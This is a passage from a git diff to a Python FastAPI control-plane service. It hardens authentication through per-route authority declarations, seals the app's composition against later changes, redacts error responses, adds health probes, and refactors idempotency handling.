base_snapshot: RuntimeSnapshot | None) -> None: - if base_snapshot is not None and base_snapshot != self._snapshot: - raise ValueError("explicit base snapshot does not match the authoritative runtime snapshot") diff --git a/implementations/python/packages/raes_runtime/control_plane_admission.py b/implementations/python/packages/raes_runtime/control_plane_admission.py index 704f1837a..54c78422f 100644 --- a/implementations/python/packages/raes_runtime/control_plane_admission.py +++ b/implementations/python/packages/raes_runtime/control_plane_admission.py @@ -15,24 +15,17 @@ from .control_plane_execution import _utc_now from .control_plane_lifecycle import runtime_owned from .control_plane_operation_context import operation_admission_context -from .control_plane_store import AuditEvent, ControlPlaneOperationRecord +from .control_plane_store import ( + AuditEvent, + ControlPlaneOperationRecord, + NewClaimBlock, + idempotency_claim_identity, + require_idempotency_key, +) -_IDEMPOTENCY_REQUEST_CONFLICT = "Idempotency-Key was reused with a different request body." _SENSITIVE_RETRY_CONFLICT = "Idempotency-Key was reused without matching sensitive retry proof." -def _require_matching_request( - persisted: ControlPlaneOperationRecord, - requested: ControlPlaneOperationRecord, -) -> None: - if persisted.receipt.context != requested.receipt.context or ( - persisted.request_fingerprint - and requested.request_fingerprint - and persisted.request_fingerprint != requested.request_fingerprint - ): - raise ValueError(_IDEMPOTENCY_REQUEST_CONFLICT) - - def _require_sensitive_retry_proof( known: str | None, supplied: str | None, @@ -151,45 +144,37 @@ def _reject_diagnostics( ) return receipt - def _idempotent_receipt( - self, - *, - idempotency_key: str, - request_fingerprint: str, - context: OperationAdmissionContext, - exact_retry_fingerprint: str | None = None, - ) -> OperationReceipt | None: - self._assert_runtime_owner() - if not idempotency_key: - return None - record = self._store.find_by_idempotency(idempotency_key) - if record is None: - return None - if record.receipt.context != context or ( - record.request_fingerprint and request_fingerprint and record.request_fingerprint != request_fingerprint - ): - raise ValueError(_IDEMPOTENCY_REQUEST_CONFLICT) - known_exact = self._ephemeral_idempotency_fingerprints.get(idempotency_key) - _require_sensitive_retry_proof(known_exact, exact_retry_fingerprint, competing_claim=True) - with self._operation_lock: - self._operations[record.receipt.operation_id] = record - return record.receipt - def _claim_record( self, record: ControlPlaneOperationRecord, *, exact_retry_fingerprint: str | None = None, + legacy_request_fingerprint: str = "", + new_claim_blocked: NewClaimBlock = None, ) -> ControlPlaneOperationRecord: self._assert_runtime_owner() - persisted = self._store_commits.claim_record(record) - _require_matching_request(persisted, record) + require_idempotency_key(record.idempotency_key) + if record.status.context.operation_kind is not OperationKind.INDETERMINATE_RESOLUTION: + from .control_plane_recovery import unresolved_indeterminate_operation_ids + + if unresolved_indeterminate_operation_ids( + self, + target_scope=record.status.context.target_scope, + run_scope=record.status.context.run_scope, + ): + new_claim_blocked = "indeterminate" + persisted = self._store_commits.claim_record( + record, + legacy_request_fingerprint=legacy_request_fingerprint, + new_claim_blocked=new_claim_blocked, + ) with self._operation_lock: if exact_retry_fingerprint is not None and record.idempotency_key: - known_exact = self._ephemeral_idempotency_fingerprints.get(record.idempotency_key) + claim_identity = idempotency_claim_identity(record.receipt.context, record.idempotency_key) + known_exact = self._ephemeral_idempotency_fingerprints.get(claim_identity) competing = persisted.receipt.operation_id != record.receipt.operation_id _require_sensitive_retry_proof(known_exact, exact_retry_fingerprint, competing_claim=competing) - self._ephemeral_idempotency_fingerprints[record.idempotency_key] = exact_retry_fingerprint + self._ephemeral_idempotency_fingerprints[claim_identity] = exact_retry_fingerprint self._operations[persisted.receipt.operation_id] = persisted return persisted diff --git a/implementations/python/packages/raes_runtime/control_plane_api/__init__.py b/implementations/python/packages/raes_runtime/control_plane_api/__init__.py index ad564ac28..6b8fe1a86 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api/__init__.py +++ b/implementations/python/packages/raes_runtime/control_plane_api/__init__.py @@ -3,7 +3,10 @@ This package is a thin facade over cohesive route families: * :mod:`._responses` - shared response-code declarations and the receipt builder. -* :mod:`._auth` - authentication, authorization, and identity dependencies. +* :mod:`._auth` - authentication, per-route transport authority, and identity + dependencies. App construction fails unless every served route declares one + authority; the resulting ``(method, path)`` inventory is exposed as + ``app.state.control_plane_route_authority``. * :mod:`._operation_routes` - request guards and operation submission/read routes. * :mod:`._workflow_routes` - workflow cancellation and timeout reconciliation. * :mod:`._participant_routes` - participant execution, control, and episode routes. @@ -20,15 +23,33 @@ from __future__ import annotations +from collections.abc import AsyncIterator +from contextlib import asynccontextmanager from importlib.metadata import PackageNotFoundError from importlib.metadata import version as distribution_version from fastapi import FastAPI +from starlette.concurrency import run_in_threadpool +from starlette.types import ASGIApp from ..control_plane import RuntimeControlPlane +from ..control_plane_api_guards import refuse_unsealed_request from ..control_plane_api_participant_retrieval import register_participant_retrieval_routes +from ..control_plane_profiles import ( + ControlPlaneCapability, + ControlPlaneProfile, + require_profile_capabilities, + select_profile, +) from ..control_plane_security import ControlPlaneSecurityConfig -from ._auth import _ControlPlaneApiAuth +from ..control_plane_store_lease import require_single_worker_configuration +from ._auth import ( + _ControlPlaneApiAuth, + _require_route_transport_authority, + _require_sealed_app_composition, + _seal_app_composition, +) +from ._health_routes import _register_health_routes from ._offload import _ControlPlaneCallExecutor from ._operation_routes import _install_request_guards, _register_operation_routes from ._participant_routes import ( @@ -39,6 +60,15 @@ from ._responses import _receipt_response from ._workflow_routes import _register_workflow_routes +_HTTP_CAPABILITIES = frozenset( + { + ControlPlaneCapability.HTTP_AUTHENTICATED_IDENTITY, + ControlPlaneCapability.HTTP_SINGLE_WORKER, + ControlPlaneCapability.HTTP_BOUNDED_ADMISSION, + ControlPlaneCapability.HTTP_REVISION_READS, + } +) + def _control_plane_api_version() -> str: """OpenAPI description version for the control-plane adapter. @@ -56,23 +86,62 @@ def _control_plane_api_version() -> str: return "0.0.0+unknown" +class _ControlPlaneFastAPI(FastAPI): + """FastAPI app that serves only the composition checked at construction.""" + + def build_middleware_stack(self) -> ASGIApp: + # Middleware and exception handlers are fixed when the stack is built, so + # this is the last point at which a post-construction addition can be + # refused; the stack then refuses lifespan startup and every request. + try: + _require_sealed_app_composition(self) + except RuntimeError: + return refuse_unsealed_request + return super().build_middleware_stack() + + def create_control_plane_app( control_plane: RuntimeControlPlane, *, security: ControlPlaneSecurityConfig | None = None, + profile: ControlPlaneProfile | None = None, ) -> FastAPI: """Create a reference HTTP/JSON control-plane app.""" + declaration = select_profile(profile) if profile is not None else None + if declaration is not None: + if declaration.profile is not ControlPlaneProfile.P2: + raise ValueError("HTTP composition can select only P2") + core_declaration = control_plane.profile_declaration + if core_declaration is None or core_declaration.profile is not ControlPlaneProfile.P1: + raise ValueError("P2 requires an explicitly selected P1 core") + require_profile_capabilities( + declaration, + core_declaration.required_capabilities | _HTTP_CAPABILITIES, + ) + require_single_worker_configuration() security = security or ControlPlaneSecurityConfig.strict_defaults() - app = FastAPI( + executor = _ControlPlaneCallExecutor(max_pending_mutations=security.max_pending_mutations) + + @asynccontextmanager + async def lifespan(served: FastAPI) -> AsyncIterator[None]: + try: + _require_sealed_app_composition(served) + yield + finally: + await executor.close() + await run_in_threadpool(control_plane.close) + + app = _ControlPlaneFastAPI( title="RAES Runtime Control Plane", version=_control_plane_api_version(), description="Reference HTTP/JSON adapter over the repo-owned runtime control plane.", + lifespan=lifespan, ) app.state.control_plane_api_auth = _ControlPlaneApiAuth(control_plane, security) - app.state.control_plane_call_executor = _ControlPlaneCallExecutor( - max_pending_mutations=security.max_pending_mutations - ) + app.state.control_plane_profile = declaration + app.state.control_plane_call_executor = executor + _register_health_routes(app, control_plane) _install_request_guards(app, control_plane, security) _register_operation_routes(app, control_plane) _register_workflow_routes(app, control_plane) @@ -80,4 +149,6 @@ def create_control_plane_app( _register_participant_control_routes(app, control_plane) _register_participant_execution_routes(app, control_plane) register_participant_retrieval_routes(app, control_plane) + app.state.control_plane_route_authority = _require_route_transport_authority(app) + _seal_app_composition(app) return app diff --git a/implementations/python/packages/raes_runtime/control_plane_api/_auth.py b/implementations/python/packages/raes_runtime/control_plane_api/_auth.py index 17a50dd81..04589bd6c 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api/_auth.py +++ b/implementations/python/packages/raes_runtime/control_plane_api/_auth.py @@ -1,19 +1,47 @@ -"""Authentication, authorization, and FastAPI identity dependencies for the control plane.""" +"""Authentication, authorization, and FastAPI identity dependencies for the control plane. + +Every served route declares exactly one :class:`ControlPlaneRouteAuthority` +through one of the dependencies below (issue #1359). P2 is administrative-only: +the authenticated authorities admit privileged, target-bound service identities, +never participant-limited credentials. Core operations apply any participant, +audience, controller or operation-actor policy after this admission. +""" from __future__ import annotations import hmac +import logging +from collections.abc import Callable, Mapping +from types import MappingProxyType from typing import Annotated -from fastapi import Depends, HTTPException, Request +from fastapi import Depends, FastAPI, HTTPException, Request +from fastapi.routing import APIRoute +from starlette.routing import Route from ..control_plane import RuntimeControlPlane from ..control_plane_security import ( + ROUTE_AUTHORITY_METHODS, + ROUTE_AUTHORITY_ROLES, ControlPlaneIdentity, ControlPlaneRole, + ControlPlaneRouteAuthority, ControlPlaneSecurityConfig, ) +_LOGGER = logging.getLogger(__name__) +_UNAUTHORIZED_DETAIL = "unauthorized" +_FORBIDDEN_DETAIL = "forbidden" + + +class _AdmissionRejected(Exception): + """An admission refusal whose specific reason is audited, never returned.""" + + def __init__(self, status_code: int, reason: str) -> None: + super().__init__(reason) + self.status_code = status_code + self.reason = reason + class _ControlPlaneApiAuth: def __init__( @@ -24,32 +52,22 @@ def __init__( self._control_plane = control_plane self._security = security - def mutating_identity(self, request: Request) -> ControlPlaneIdentity: - identity = self._authenticated_identity(request) - return self._authorize( - identity, - roles={ControlPlaneRole.BACKEND, ControlPlaneRole.OPERATOR}, - request=request, - ) + def admit(self, request: Request, authority: ControlPlaneRouteAuthority) -> ControlPlaneIdentity: + """Authenticate the caller and require a role admitted by ``authority``.""" - def read_identity(self, request: Request) -> ControlPlaneIdentity: identity = self._authenticated_identity(request) - return self._authorize( - identity, - roles={ - ControlPlaneRole.BACKEND, - ControlPlaneRole.OPERATOR, - ControlPlaneRole.AUDITOR, - }, - request=request, - ) + return self._authorize(identity, roles=ROUTE_AUTHORITY_ROLES[authority], request=request) def _authenticated_identity(self, request: Request) -> ControlPlaneIdentity: + # Every refusal returns one stable body per status: the audited reason + # would otherwise tell an unauthenticated caller how proxy trust is + # configured, or confirm that a token is valid for another target. try: return self._authenticate_request(request) - except HTTPException as exc: - self._record_denial(request, str(exc.detail)) - raise + except _AdmissionRejected as exc: + self._record_denial(request, exc.reason) + detail = _UNAUTHORIZED_DETAIL if exc.status_code == 401 else _FORBIDDEN_DETAIL + raise HTTPException(status_code=exc.status_code, detail=detail) from None def _authenticate_request(self, request: Request) -> ControlPlaneIdentity: authorization = request.headers.get("authorization", "") @@ -61,17 +79,17 @@ def _authenticate_request(self, request: Request) -> ControlPlaneIdentity: # working whenever header identities are trusted, and would leave the # rejected credential out of the audit log entirely. if identity is None: - raise HTTPException(status_code=401, detail="invalid bearer token") + raise _AdmissionRejected(401, "invalid bearer token") return self._require_target_binding(identity) if not self._security.trust_proxy_identity_headers: - raise HTTPException(status_code=401, detail="trusted proxy identity headers are not enabled") + raise _AdmissionRejected(401, "trusted proxy identity headers are not enabled") identity_name = request.headers.get(self._security.identity_header, "") verified = request.headers.get(self._security.verified_header, "").lower() if self._security.require_verified_identity and verified != "true": - raise HTTPException(status_code=401, detail="verified client identity required") + raise _AdmissionRejected(401, "verified client identity required") identity = self._security.trusted_identities.get(identity_name) if identity is None: - raise HTTPException(status_code=401, detail="unknown client identity") + raise _AdmissionRejected(401, "unknown client identity") return self._require_target_binding(identity) def _resolve_bearer_identity(self, token: str) -> ControlPlaneIdentity | None: @@ -91,44 +109,169 @@ def _require_target_binding(self, identity: ControlPlaneIdentity) -> ControlPlan """Require an identity scoped exactly to this control-plane target.""" if identity.target_name != self._control_plane.target_name: - raise HTTPException(status_code=403, detail="identity is not authorized for this target") + raise _AdmissionRejected(403, "identity is not authorized for this target") return identity def _authorize( self, identity: ControlPlaneIdentity, *, - roles: set[ControlPlaneRole], + roles: frozenset[ControlPlaneRole], request: Request, ) -> ControlPlaneIdentity: if not identity.roles.isdisjoint(roles): return identity - self._control_plane.record_audit( + self._record_audit_safely( action=request.method, identity=identity.identity, allowed=False, - target=str(request.url.path), reason="forbidden", ) - raise HTTPException(status_code=403, detail="forbidden") + raise HTTPException(status_code=403, detail=_FORBIDDEN_DETAIL) def _record_denial(self, request: Request, reason: str) -> None: - self._control_plane.record_audit( + self._record_audit_safely( action=request.method, identity="anonymous", allowed=False, - target=str(request.url.path), reason=reason, ) + def _record_audit_safely(self, **fields: object) -> None: + try: + self._control_plane.record_audit( + **fields, + target=self._control_plane._target_scope, + ) + except Exception: + _LOGGER.error("control-plane-auth-audit-failed") + + +def _public_probe_dependency() -> None: + """Declare a value-free public probe; it admits no identity.""" + + +def _administrative_read_dependency(request: Request) -> ControlPlaneIdentity: + return request.app.state.control_plane_api_auth.admit(request, ControlPlaneRouteAuthority.ADMINISTRATIVE_READ) + + +def _administrative_mutation_dependency(request: Request) -> ControlPlaneIdentity: + return request.app.state.control_plane_api_auth.admit( + request, + ControlPlaneRouteAuthority.ADMINISTRATIVE_MUTATION, + ) + + +def _operator_resolution_dependency(request: Request) -> ControlPlaneIdentity: + return request.app.state.control_plane_api_auth.admit(request, ControlPlaneRouteAuthority.OPERATOR_RESOLUTION) + + +_PublicProbe = Depends(_public_probe_dependency) +_AdministrativeReadIdentity = Annotated[ControlPlaneIdentity, Depends(_administrative_read_dependency)] +_AdministrativeMutationIdentity = Annotated[ControlPlaneIdentity, Depends(_administrative_mutation_dependency)] +_OperatorResolutionIdentity = Annotated[ControlPlaneIdentity, Depends(_operator_resolution_dependency)] + +_DEPENDENCY_AUTHORITY: Mapping[Callable[..., object], ControlPlaneRouteAuthority] = MappingProxyType( + { + _public_probe_dependency: ControlPlaneRouteAuthority.PUBLIC_PROBE, + _administrative_read_dependency: ControlPlaneRouteAuthority.ADMINISTRATIVE_READ, + _administrative_mutation_dependency: ControlPlaneRouteAuthority.ADMINISTRATIVE_MUTATION, + _operator_resolution_dependency: ControlPlaneRouteAuthority.OPERATOR_RESOLUTION, + } +) + + +def _declared_route_authority(route: APIRoute) -> ControlPlaneRouteAuthority: + declared = [ + _DEPENDENCY_AUTHORITY[dependency.call] + for dependency in route.dependant.dependencies + if dependency.call in _DEPENDENCY_AUTHORITY + ] + if len(declared) != 1: + raise ValueError(f"route {sorted(route.methods)} {route.path} must declare exactly one transport authority") + authority = declared[0] + if not route.methods or not route.methods.issubset(ROUTE_AUTHORITY_METHODS[authority]): + raise ValueError( + f"{authority.value} transport authority cannot serve {sorted(route.methods or ())} {route.path}" + ) + return authority + + +def _require_route_transport_authority( + app: FastAPI, +) -> Mapping[tuple[str, str], ControlPlaneRouteAuthority]: + """Fail app construction unless every served route declares one transport authority. + + Only FastAPI's own API-description routes are exempt; they carry no runtime + state. Any other route, mount or raw Starlette endpoint must enter through + the dependencies above, and each authority serves only its own HTTP methods, + so a new operation, inject, event or export route cannot silently bypass P2 + admission. The checked route table is then sealed (see + :func:`_require_sealed_route_table`). + """ -def _mutating_identity_dependency(request: Request) -> ControlPlaneIdentity: - return request.app.state.control_plane_api_auth.mutating_identity(request) + framework_paths = {app.openapi_url, app.docs_url, app.redoc_url, app.swagger_ui_oauth2_redirect_url} - {None} + inventory: dict[tuple[str, str], ControlPlaneRouteAuthority] = {} + for route in app.router.routes: + if isinstance(route, APIRoute): + authority = _declared_route_authority(route) + for method in route.methods: + if (method, route.path) in inventory: + raise ValueError(f"route {method} {route.path} registers a second transport authority") + inventory[(method, route.path)] = authority + elif not (type(route) is Route and route.path in framework_paths): + raise ValueError(f"route {getattr(route, 'path', '?')} must declare exactly one transport authority") + return MappingProxyType(inventory) -def _read_identity_dependency(request: Request) -> ControlPlaneIdentity: - return request.app.state.control_plane_api_auth.read_identity(request) +def _app_composition(app: object) -> tuple[object, ...] | None: + """Identity of everything that decides whether and how a request is admitted.""" + + router = getattr(app, "router", None) + routes = getattr(router, "routes", None) + middleware = getattr(app, "user_middleware", None) + handlers = getattr(app, "exception_handlers", None) + overrides = getattr(app, "dependency_overrides", None) + if routes is None or middleware is None or handlers is None or overrides is None: + return None + return ( + tuple(routes), + tuple(middleware), + tuple(handlers.items()), + tuple(overrides.items()), + ) + + +def _seal_app_composition(app: FastAPI) -> None: + """Record the exact routes, middleware, handlers and (no) overrides that were checked.""" + + app.state.control_plane_sealed_composition = _app_composition(app) + + +def _require_sealed_app_composition(app: object) -> None: + """Fail closed when the served app differs from the composition that was checked. + + The route inventory is checked once, at construction. A route, middleware, + exception handler or dependency override attached to the returned app + afterwards never passed that check: it could serve state before admission, + replace an admission dependency, or drop the no-store policy. + """ + + sealed = getattr(getattr(app, "state", None), "control_plane_sealed_composition", None) + current = _app_composition(app) + if ( + sealed is None + or current is None + or len(current) != len(sealed) + or any( + len(now) != len(then) or any(_differs(a, b) for a, b in zip(now, then, strict=True)) + for now, then in zip(current, sealed, strict=True) + ) + ): + raise RuntimeError("control-plane app composition changed after construction") -_MutatingIdentity = Annotated[ControlPlaneIdentity, Depends(_mutating_identity_dependency)] -_ReadIdentity = Annotated[ControlPlaneIdentity, Depends(_read_identity_dependency)] +def _differs(current: object, sealed: object) -> bool: + if isinstance(current, tuple) and isinstance(sealed, tuple): + return len(current) != len(sealed) or any(a is not b and a != b for a, b in zip(current, sealed, strict=True)) + return current is not sealed diff --git a/implementations/python/packages/raes_runtime/control_plane_api/_health_routes.py b/implementations/python/packages/raes_runtime/control_plane_api/_health_routes.py new file mode 100644 index 000000000..9a223b2e9 --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_api/_health_routes.py @@ -0,0 +1,27 @@ +"""Public value-free liveness and readiness routes.""" + +from __future__ import annotations + +from fastapi import FastAPI +from fastapi.responses import JSONResponse + +from ..control_plane import RuntimeControlPlane +from ..control_plane_health import control_plane_liveness, control_plane_readiness +from ._auth import _PublicProbe + + +def _register_health_routes(app: FastAPI, control_plane: RuntimeControlPlane) -> None: + @app.get("/health/live", dependencies=[_PublicProbe]) + async def liveness() -> JSONResponse: + return JSONResponse(content=control_plane_liveness().to_payload()) + + @app.get("/health/ready", dependencies=[_PublicProbe]) + async def readiness() -> JSONResponse: + health = control_plane_readiness(control_plane) + return JSONResponse( + status_code=200 if health.status.value == "ready" else 503, + content=health.to_payload(), + ) + + +__all__ = ("_register_health_routes",) diff --git a/implementations/python/packages/raes_runtime/control_plane_api/_offload.py b/implementations/python/packages/raes_runtime/control_plane_api/_offload.py index a34acdd7a..c2256bce9 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api/_offload.py +++ b/implementations/python/packages/raes_runtime/control_plane_api/_offload.py @@ -3,7 +3,8 @@ from __future__ import annotations import asyncio -from collections.abc import Callable +from collections.abc import AsyncIterator, Callable +from contextlib import asynccontextmanager from typing import ParamSpec, TypeVar from fastapi import HTTPException, Request @@ -29,15 +30,20 @@ def __init__(self, *, max_pending_mutations: int) -> None: raise ValueError("max_pending_mutations must be positive") self._max_pending_mutations = max_pending_mutations self._pending_mutations = 0 + self._active_calls = 0 + self._closing = False + self._closed = False + self._condition = asyncio.Condition() - @staticmethod async def run( + self, call: Callable[_P, _T], /, *args: _P.args, **kwargs: _P.kwargs, ) -> _T: - return await run_in_threadpool(call, *args, **kwargs) + async with self._admitted(): + return await run_in_threadpool(call, *args, **kwargs) async def mutate( self, @@ -46,37 +52,62 @@ async def mutate( *args: _P.args, **kwargs: _P.kwargs, ) -> _T: - if self._pending_mutations >= self._max_pending_mutations: - raise HTTPException( - status_code=503, - detail="control-plane mutation queue is full", - headers={"Retry-After": "1"}, - ) - self._pending_mutations += 1 - try: + async with self._admitted(): + if self._pending_mutations >= self._max_pending_mutations: + raise HTTPException( + status_code=503, + detail="control-plane mutation queue is full", + headers={"Retry-After": "1"}, + ) + self._pending_mutations += 1 try: - with mutation_probe(): - return await self.run(call, *args, **kwargs) - except MutationReservationRequired as reservation: - async with reservation.authority.reserve(reservation.kind): - return await self._run_reserved(call, *args, **kwargs) - finally: - self._pending_mutations -= 1 + try: + with mutation_probe(): + return await run_in_threadpool(call, *args, **kwargs) + except MutationReservationRequired as reservation: + async with reservation.authority.reserve(reservation.kind): + return await self._run_reserved(call, *args, **kwargs) + finally: + self._pending_mutations -= 1 + @staticmethod async def _run_reserved( - self, call: Callable[_P, _T], /, *args: _P.args, **kwargs: _P.kwargs, ) -> _T: - worker = asyncio.create_task(self.run(call, *args, **kwargs)) + worker = asyncio.create_task(run_in_threadpool(call, *args, **kwargs)) try: return await asyncio.shield(worker) except asyncio.CancelledError: await _settle_worker(worker) raise + @asynccontextmanager + async def _admitted(self) -> AsyncIterator[None]: + async with self._condition: + if self._closing or self._closed: + raise RuntimeError("control-plane call executor is closed") + self._active_calls += 1 + try: + yield + finally: + async with self._condition: + self._active_calls -= 1 + if self._active_calls == 0: + self._condition.notify_all() + + async def close(self) -> None: + """Stop admission and drain every queued or active offloaded call.""" + + async with self._condition: + if self._closed: + return + self._closing = True + await self._condition.wait_for(lambda: self._active_calls == 0) + self._closed = True + async def _settle_worker(worker: asyncio.Task[object]) -> None: """Wait for an in-flight control-plane mutation to settle before unwinding. diff --git a/implementations/python/packages/raes_runtime/control_plane_api/_operation_routes.py b/implementations/python/packages/raes_runtime/control_plane_api/_operation_routes.py index cfcac3a92..1b90df241 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api/_operation_routes.py +++ b/implementations/python/packages/raes_runtime/control_plane_api/_operation_routes.py @@ -2,9 +2,12 @@ from __future__ import annotations +import logging + from fastapi import FastAPI, HTTPException, Request, Response from fastapi.exceptions import RequestValidationError from fastapi.responses import JSONResponse +from pydantic import BaseModel, ConfigDict from raes_contracts.contracts import ( EvaluationPlanModel, OperationReceiptModel, @@ -13,9 +16,15 @@ ProvisioningPlanModel, RuntimeSnapshotEnvelopeModel, ) +from starlette.concurrency import run_in_threadpool from ..control_plane import RuntimeControlPlane -from ..control_plane_api_guards import RequestSizeLimitMiddleware +from ..control_plane_api_guards import ( + NO_STORE_CACHE_CONTROL, + AppCompositionSealMiddleware, + NoStoreResponseMiddleware, + RequestSizeLimitMiddleware, +) from ..control_plane_api_models import ( _evaluation_plan, _operation_status_model, @@ -23,56 +32,119 @@ _provisioning_plan, _snapshot_model, ) -from ..control_plane_security import ControlPlaneSecurityConfig -from ._auth import _MutatingIdentity, _ReadIdentity +from ..control_plane_recovery import IndeterminateResolutionDisposition +from ..control_plane_security import ControlPlaneRouteAuthority, ControlPlaneSecurityConfig +from ._auth import ( + _AdministrativeMutationIdentity, + _AdministrativeReadIdentity, + _OperatorResolutionIdentity, + _require_sealed_app_composition, +) from ._offload import _control_plane_calls from ._responses import ( _CONFLICT_RESPONSES, _NOT_FOUND_RESPONSES, + _conflict_detail, _receipt_response, - _record_operation_receipt_audit, _set_snapshot_revision_header, ) +_LOGGER = logging.getLogger(__name__) + + +class _IndeterminateResolutionRequest(BaseModel): + model_config = ConfigDict(extra="forbid") + + disposition: IndeterminateResolutionDisposition + + +async def _record_admission_denial_best_effort( + request: Request, + control_plane: RuntimeControlPlane, + *, + action: str, + reason: str, + identity: str = "anonymous", +) -> None: + """Record a redacted admission-denial audit without letting its failure replace the response. + + A failed secondary audit must never escape and replace the already-selected + stable 4xx/5xx envelope (ADR-104 §7; issue-1188 preflight: the request-size + middleware and global exception handlers need the same best-effort audit + rule). Any audit or offload failure is swallowed after a stable log label, + and ``reason`` is always a stable code — never exception text or a provider + class name. + """ + + try: + await _control_plane_calls(request).run( + control_plane.record_audit, + action=action, + identity=identity, + allowed=False, + target=control_plane._target_scope, + reason=reason, + ) + except Exception: + _LOGGER.error("control-plane redacted-error audit persistence failed") + def _install_request_guards( app: FastAPI, control_plane: RuntimeControlPlane, security: ControlPlaneSecurityConfig, ) -> None: + # Innermost guard: an unadmitted app composition refuses before any route runs. + app.add_middleware(AppCompositionSealMiddleware, verify_app=_require_sealed_app_composition) app.add_middleware( RequestSizeLimitMiddleware, control_plane=control_plane, max_request_bytes=security.max_request_bytes, max_pending_rejection_audits=security.max_pending_rejection_audits, ) + # Added last so it wraps the size guard's own rejections as well. + app.add_middleware(NoStoreResponseMiddleware) @app.exception_handler(Exception) async def _redacted_errors(request: Request, exc: Exception) -> JSONResponse: - await _control_plane_calls(request).run( - control_plane.record_audit, - action=request.method, - identity="anonymous", - allowed=False, - target=str(request.url.path), - reason=f"internal-error:{type(exc).__name__}", + del exc + await _record_admission_denial_best_effort( + request, control_plane, action="http-internal-error", reason="internal-error" + ) + return JSONResponse( + status_code=500, + content={"detail": "internal server error"}, + headers={"cache-control": NO_STORE_CACHE_CONTROL}, ) - return JSONResponse(status_code=500, content={"detail": "internal server error"}) @app.exception_handler(RequestValidationError) async def _redacted_request_validation_errors(request: Request, exc: RequestValidationError) -> JSONResponse: del exc - await _control_plane_calls(request).run( - control_plane.record_audit, - action=request.method, - identity="anonymous", - allowed=False, - target=str(request.url.path), - reason="request-validation-failed", + # FastAPI decodes a JSON body before it resolves route dependencies, so a + # malformed body would otherwise be reported to a caller that was never + # admitted. Admission decides first; only an admitted caller sees a 422. + refused = await _refuse_unadmitted_caller(request) + if refused is not None: + return refused + await _record_admission_denial_best_effort( + request, control_plane, action="http-request-validation-failed", reason="request-validation-failed" ) return JSONResponse(status_code=422, content={"detail": "request validation failed"}) +async def _refuse_unadmitted_caller(request: Request) -> JSONResponse | None: + route = request.scope.get("route") + inventory = getattr(request.app.state, "control_plane_route_authority", {}) + authority = inventory.get((request.method, getattr(route, "path", None))) + if authority is None or authority is ControlPlaneRouteAuthority.PUBLIC_PROBE: + return None + try: + await run_in_threadpool(request.app.state.control_plane_api_auth.admit, request, authority) + except HTTPException as refusal: + return JSONResponse(status_code=refusal.status_code, content={"detail": refusal.detail}) + return None + + def _register_operation_routes( app: FastAPI, control_plane: RuntimeControlPlane, @@ -88,6 +160,35 @@ def _register_operation_submission_routes( _register_provisioning_submission_route(app, control_plane) _register_orchestration_submission_route(app, control_plane) _register_evaluation_submission_route(app, control_plane) + _register_indeterminate_resolution_route(app, control_plane) + + +def _register_indeterminate_resolution_route( + app: FastAPI, + control_plane: RuntimeControlPlane, +) -> None: + @app.post("/operations/{operation_id}/resolution", responses={403: {}, 404: {}, 409: {}}) + async def resolve_indeterminate_operation( + operation_id: str, + request: Request, + resolution: _IndeterminateResolutionRequest, + identity: _OperatorResolutionIdentity, + ) -> OperationReceiptModel: + try: + receipt = await _control_plane_calls(request).mutate( + control_plane.resolve_indeterminate_operation, + operation_id, + disposition=resolution.disposition, + idempotency_key=request.headers.get("idempotency-key", ""), + identity=identity, + ) + except (KeyError, PermissionError) as exc: + # The core audits a forbidden resolution; the response matches an unknown + # operation so an operator cannot probe which operation ids exist. + raise HTTPException(status_code=404, detail="indeterminate operation not found") from exc + except (TypeError, ValueError, RuntimeError) as exc: + raise HTTPException(status_code=409, detail="indeterminate resolution conflict") from exc + return _receipt_response(receipt) def _register_provisioning_submission_route( @@ -98,7 +199,7 @@ def _register_provisioning_submission_route( async def submit_provisioning( request: Request, plan: ProvisioningPlanModel, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, ) -> OperationReceiptModel: submitted_plan = _provisioning_plan(plan) calls = _control_plane_calls(request) @@ -107,12 +208,11 @@ async def submit_provisioning( submitted_plan, ) if (submitted_plan.operations or submitted_plan.observation_demands) and not planner_authorized: - await calls.run( - control_plane.record_audit, + await _record_admission_denial_best_effort( + request, + control_plane, action="submit_provisioning", identity=identity.identity, - allowed=False, - target=str(request.url.path), reason="planner-authorization-mismatch", ) raise HTTPException(status_code=403, detail="provisioning plan is not planner-authorized") @@ -124,15 +224,7 @@ async def submit_provisioning( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="submit_provisioning", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) @@ -144,7 +236,7 @@ def _register_orchestration_submission_route( async def submit_orchestration( request: Request, plan: OrchestrationPlanModel, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, ) -> OperationReceiptModel: submitted_plan = _orchestration_plan(plan) calls = _control_plane_calls(request) @@ -152,12 +244,11 @@ async def submit_orchestration( control_plane.is_planner_authorized_plan, submitted_plan, ): - await calls.run( - control_plane.record_audit, + await _record_admission_denial_best_effort( + request, + control_plane, action="submit_orchestration", identity=identity.identity, - allowed=False, - target=str(request.url.path), reason="planner-authorization-mismatch", ) raise HTTPException(status_code=403, detail="orchestration plan is not planner-authorized") @@ -169,15 +260,7 @@ async def submit_orchestration( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="submit_orchestration", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) @@ -189,7 +272,7 @@ def _register_evaluation_submission_route( async def submit_evaluation( request: Request, plan: EvaluationPlanModel, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, ) -> OperationReceiptModel: submitted_plan = _evaluation_plan(plan) calls = _control_plane_calls(request) @@ -197,12 +280,11 @@ async def submit_evaluation( control_plane.is_planner_authorized_plan, submitted_plan, ): - await calls.run( - control_plane.record_audit, + await _record_admission_denial_best_effort( + request, + control_plane, action="submit_evaluation", identity=identity.identity, - allowed=False, - target=str(request.url.path), reason="planner-authorization-mismatch", ) raise HTTPException(status_code=403, detail="evaluation plan is not planner-authorized") @@ -214,15 +296,7 @@ async def submit_evaluation( 